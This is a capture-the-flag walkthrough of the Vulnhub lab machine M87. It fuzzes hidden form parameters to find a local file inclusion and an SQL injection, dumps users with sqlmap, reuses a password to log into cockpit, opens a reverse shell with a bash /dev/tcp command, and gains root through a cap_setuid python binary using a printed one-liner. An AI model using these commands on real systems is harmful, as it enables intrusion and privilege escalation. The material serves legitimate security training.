m87 is a simple machine, created specifically to be exploited. Don’t get discouraged and always Try Harder!

This is M87: 1 from Vulnhub.


We’ve got 3 ports - SSH on 22, HTTP on 80 and something on port 9090, but SSH is filtered so it doesn’t count.

What’s 9090? It’s cockpit, a browser based server interface.


I visit the site ( and we have a login page wanting linux user credentials. We don’t have any. We’ll return to this later.


The front page of the website is a login form (HTML), it wants an email address and a password. We don’t have either of those things.

I ran some gobuster scans; we can find /admin, which has another HTML login form, and /admin/backup/index.php, which has another login form.

I try some password attacks on the admin page with the username admin, but no dice. I try searching for hidden files on the webserver with extensive gobuster scans and lots of file extensions; nothing. Now what?

The login on /admin/backup/index.php comes in the form of


This is the main thing I took from this box - fuzz this form for other fields.


There are many ways to do this but I used Burp Suite Turbo Intruder and the /usr/share/seclists/Discovery/Web-Content/common.txt file to find two ‘extra’ parameters of interest - id and file. In this case my url is:


The parameter file gives an LFI. I read /etc/passwd and learn our user is called charlotte, e.g.

I try various things to leverage this into RCE but can’t find a way, with no access to /proc/self/environ or Apache logs etc. I also can’t find an SSH key, I can’t read Charlotte’s bash history etc. What other options do we have? Let’s try id:

The id parameter (initially) only gives me one error message:

Connect failed: No such file or directory

I google this and it could be a MySQL error, or something else. It’s sufficiently vague to not be definitive. I can’t get it to do anything else.


At this point (well, after trying and failing for some time) I check a hint. In fact the id parameter is supposed to prompt a different error. I reboot the VM; no change. I recreate the VM from the OVA file - success! Now the id parameter prompts an error message about SQL syntax. So we do have a database connection here. Note that I had previously tried SQLMap on the username and password fields to no success.

Anyway, id may be SQL injectable. I use sqlmap in Burp Suite:

-u '' -p 'id' --dump

And I get a bunch of users:

root@kali:/opt/vulnhub/m87# cat users.csv 


Since SSH is filtered, we need a way to login. This is where cockpit comes in.

None of our users are called charlotte, but I guessed there might be some password reuse. Sure enough, the password for admin (above) is the password for charlotte. So it’s back to cockpit to log in. I hadn’t seen this before but it’s a nice enough GUI interface - and you can access a terminal, which is what I do. I then use that to send myself a shell to a netcat listener:

bash -i >& /dev/tcp/ 0>&1


There’s some trickery going on, because linpeas recognises two SUID binaries it thinks are slam dunks - watch and rsync. Although the techniques in GTFOBins work, they only give back shells as charlotte. So that doesn’t help.

Linpeas also identifies a binary with the cap_setuid+ep capability - it’s called /usr/bin/old. What is it? As it turns out, it’s python (2). And the technique at GTFOBins does work for that.

charlotte@M87:/dev/shm$ file /usr/bin/old
file /usr/bin/old
/usr/bin/old: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, for GNU/Linux 3.2.0, BuildID[sha1]=a59cad4ea461069ab45e846552c0dc6ed45ef466, stripped
charlotte@M87:/dev/shm$ /usr/bin/old
Python 2.7.16 (default, Oct 10 2019, 22:02:15) 
[GCC 8.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> exit()
charlotte@M87:/dev/shm$ /usr/bin/old -c 'import os; os.setuid(0); os.system("/bin/sh")'
/usr/bin/old -c 'import os; os.setuid(0); os.system("/bin/sh")'
# id
uid=0(root) gid=1000(charlotte) groups=1000(charlotte),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)
# cd /root/
cd /root/
# ls -lash
ls -lash
total 28K
4.0K drwx------  4 root root 4.0K Nov  6 08:36 .
4.0K drwxr-xr-x 18 root root 4.0K Nov  6 06:49 ..
   0 lrwxrwxrwx  1 root root    9 Nov  6 06:58 .bash_history -> /dev/null
4.0K -rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
4.0K drwx------  3 root root 4.0K Nov  6 08:36 .gnupg
4.0K drwxr-xr-x  3 root root 4.0K Nov  6 08:00 .local
4.0K -rw-r--r--  1 root root  148 Aug 17  2015 .profile
4.0K -rw-------  1 root root 1.2K Nov  6 08:36 proof.txt
# cat proof.txt
cat proof.txt





This box was a touch flaky - I had to reboot it a few times - and I had that issue with id not prompting the right error. But I did learn a lesson about fuzzing for parameters and saw cockpit for the first time.